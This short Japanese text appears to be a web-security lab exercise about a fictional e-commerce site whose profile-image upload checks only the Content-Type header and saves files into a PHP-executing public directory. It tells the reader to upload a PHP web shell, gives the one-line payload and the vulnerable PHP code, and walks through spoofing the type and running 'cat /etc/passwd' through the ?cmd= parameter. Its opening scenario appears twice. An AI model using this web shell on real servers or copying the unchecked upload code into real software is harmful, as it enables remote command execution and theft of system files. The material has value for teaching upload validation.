うつろい EC のマイページに「プロフィール画像アップロード」機能。サーバ側は Content-Type が image/jpeg または image/png であることだけをチェックし、ファイル名と拡張子はそのまま保存している。
保存先は /var/www/uploads/(Web 公開ディレクトリ)で、PHP 実行が有効。
うつろい EC のマイページに「プロフィール画像アップロード」機能。サーバ側は Content-Type が image/jpeg または image/png であることだけをチェックし、ファイル名と拡張子はそのまま保存している。
保存先は /var/www/uploads/(Web 公開ディレクトリ)で、PHP 実行が有効。
PHP の Web シェル(<?php system($_GET['cmd']); ?> 等)をアップロードし、URL 経由でアクセスして任意コマンドを実行してください。
アップロードしたファイルを HTTP で開き、?cmd= でコマンドを実行できます。
// PHP - Content-Type だけチェック
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png'])) {
abort(400);
}
// 拡張子もファイル名も検証なし
move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/uploads/' . $_FILES['file']['name']);
// → /var/www/uploads/webshell.php に PHP コードが保存され、HTTP でアクセスすれば実行
webshell.php、Content-Type image/jpeg(検証はこれを見るだけなので素通り)、内容に <?php system($_GET['cmd']); ?>/var/www/uploads/webshell.php として保存webshell.php?cmd=cat /etc/passwd を入れて「アクセス」